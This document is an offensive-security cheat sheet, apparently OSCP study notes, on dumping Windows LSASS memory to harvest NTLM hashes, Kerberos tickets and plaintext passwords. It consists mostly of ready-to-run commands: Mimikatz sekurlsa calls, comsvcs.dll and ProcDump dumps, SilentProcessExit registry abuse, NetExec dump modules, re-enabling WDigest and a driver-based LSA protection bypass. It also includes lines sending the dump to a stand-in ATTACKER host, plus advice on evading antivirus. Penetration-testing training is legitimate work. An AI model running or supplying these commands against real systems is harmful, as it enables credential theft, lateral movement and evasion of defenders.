LSASS — Credential Dumping Reference
What is LSASS?
LSASS (lsass.exe) is the Windows process that holds logon sessions — NTLM hashes, Kerberos tickets, and sometimes plaintext passwords (if WDigest or older configs allow).
User logs in → LSASS stores creds in memory
→ Mimikatz / dump tools read LSASS
→ Pass-the-Hash / lateral movement
OSCP use: After admin or SYSTEM, dumping LSASS is often the fastest path to more creds. If live Mimikatz triggers AV, dump offline and parse on Kali with pypykatz.
Related: Mimikatz (live commands) · secretsdump (remote SAM/NTDS) · CrackMapExec - nxc (remote modules) · Credential Graph
Requirements
| Requirement | Notes |
|---|---|
| Local Administrator or SYSTEM | Standard users cannot dump LSASS |
| SeDebugPrivilege | Mimikatz: privilege::debug first |
| LSA Protection (RunAsPPL) | Blocks many dump tools — see § LSA Protection |
| AV/EDR | Prefer offline dump + parse on attacker box |
📌 1) Find LSASS PID
tasklist | findstr lsass
tasklist /v | findstr lsassGet-Process lsass
Get-Process -Name lsass | Select-Object Id, ProcessName, Path
(Get-Process lsass).Id📌 2) Live dump — Mimikatz (on target)
Requires admin + privilege::debug. Full Mimikatz reference: Mimikatz
mimikatz.exe
privilege::debug
token::elevate
sekurlsa::logonpasswords
sekurlsa::wdigest
sekurlsa::tickets
exitmimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"PowerShell in-memory: Invoke-Mimikatz -DumpCreds — see Mimikatz > Invoke-Mimikatz
📌 3) Offline dump — on target (AV evasion)
Dump memory to file → transfer → parse on Kali. Preferred when AV blocks Mimikatz.
Task Manager (GUI)
Task Manager → Details → lsass.exe → Right-click → Create dump file
comsvcs.dll (no extra binary)
REM Get PID first
tasklist | findstr lsass
rundll32 C:\Windows\System32\comsvcs.dll MiniDump <LSASS_PID> C:\Temp\lsass.dmp fullProcDump (Sysinternals — often less flagged)
procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp
procdump.exe -accepteula -ma <LSASS_PID> C:\Temp\lsass.dmpSilentProcessExit (LOLBin — needs admin + reboot/logoff for IFEO)
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\lsass.exe" /v GlobalFlag /t REG_DWORD /d 512
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v ReportingMode /t REG_DWORD /d 1
reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\lsass.exe" /v MonitorProcess /d "C:\Temp\procdump.exe -ma -accepteula %1 C:\Temp\lsass.dmp"Transfer dump to attacker
Invoke-WebRequest -Uri "http://ATTACKER:8080/" -Method POST -InFile "C:\Temp\lsass.dmp"certutil -urlcache -split -f C:\Temp\lsass.dmp \\ATTACKER\share\lsass.dmp📌 4) Parse dump offline (Kali)
pip3 install pypykatz --break-system-packages
pypykatz lsa minidump lsass.dmpFull reference → pypykatz (flags, registry hives, Kerberos tickets)
REM Mimikatz on Kali / Windows attacker
sekurlsa::minidump lsass.dmp
sekurlsa::logonpasswordsCrack NTLM hashes → Hashcat · Lookup → Reference > External resources (hashes.com, CrackStation)
📌 5) Remote dump — NetExec modules (from Kali)
Requires admin (Pwn3d!) on target. Not mimikatz / minikatz — removed from current NetExec.
nxc smb TARGET -u user -p pass -M lsassy
nxc smb TARGET -u user -p pass -M handlekatz
nxc smb TARGET -u user -p pass -M nanodump
nxc smb TARGET -u user -p pass -M masky
nxc smb TARGET -u user -p pass -M procdump
# Check module options on your install
nxc smb -M lsassy --options→ CrackMapExec - nxc > 9) Modules (`-M`)
📌 6) Enable WDigest (cleartext in LSASS)
Windows 8.1+ / Server 2012R2+ disable WDigest by default — no plaintext until re-enabled and user re-logs:
reg add HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\WDigest /v UseLogonCredential /t REG_DWORD /d 1nxc smb TARGET -u admin -p pass -M wdigest -o ACTION=enableTakes effect after logout/login or service re-auth.
📌 7) LSA Protection (RunAsPPL)
When enabled, LSASS runs as Protected Process Light — many dump tools fail.
| Check | Command |
|---|---|
| Credential Guard / PPL | nxc smb TARGET -u user -p pass -M runasppl |
| Mimikatz bypass | !+ driver load → !processprotect /process:lsass.exe /remove (needs admin + driver) |
Alternative when LSASS is protected: DCSync (never touches LSASS on DC) · secretsdump · SAM/SECURITY hive export — Registry Hives and Linux Equivalents
📌 8) What you get from LSASS
| Data | Use |
|---|---|
| NTLM hashes | Pass-the-Hash — LatMovement |
| Kerberos tickets | Pass-the-Ticket — Rubeus |
| Plaintext passwords | Direct login / spray |
| WDigest creds | Only if WDigest enabled |
📌 9) Detection & OPSEC
| Technique | OPSEC |
|---|---|
Live sekurlsa::logonpasswords | High — triggers most AV |
| Offline dump + pypykatz | Lower — parse off-box |
Remote nxc -M lsassy | Network auth + known module signatures |
| DCSync (no LSASS touch) | Often preferred on hardened DCs |
📌 Quick OSCP Cheat Sheet
REM ─── PID ────────────────────────────────────────────────────
tasklist | findstr lsass
REM ─── OFFLINE DUMP (pick one) ────────────────────────────────
rundll32 C:\Windows\System32\comsvcs.dll MiniDump <PID> C:\Temp\lsass.dmp full
procdump.exe -accepteula -ma lsass.exe C:\Temp\lsass.dmp
REM ─── LIVE MIMIKATZ ──────────────────────────────────────────
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit"# Kali — parse + remote
pypykatz lsa minidump lsass.dmp
nxc smb TARGET -u user -p pass -M lsassy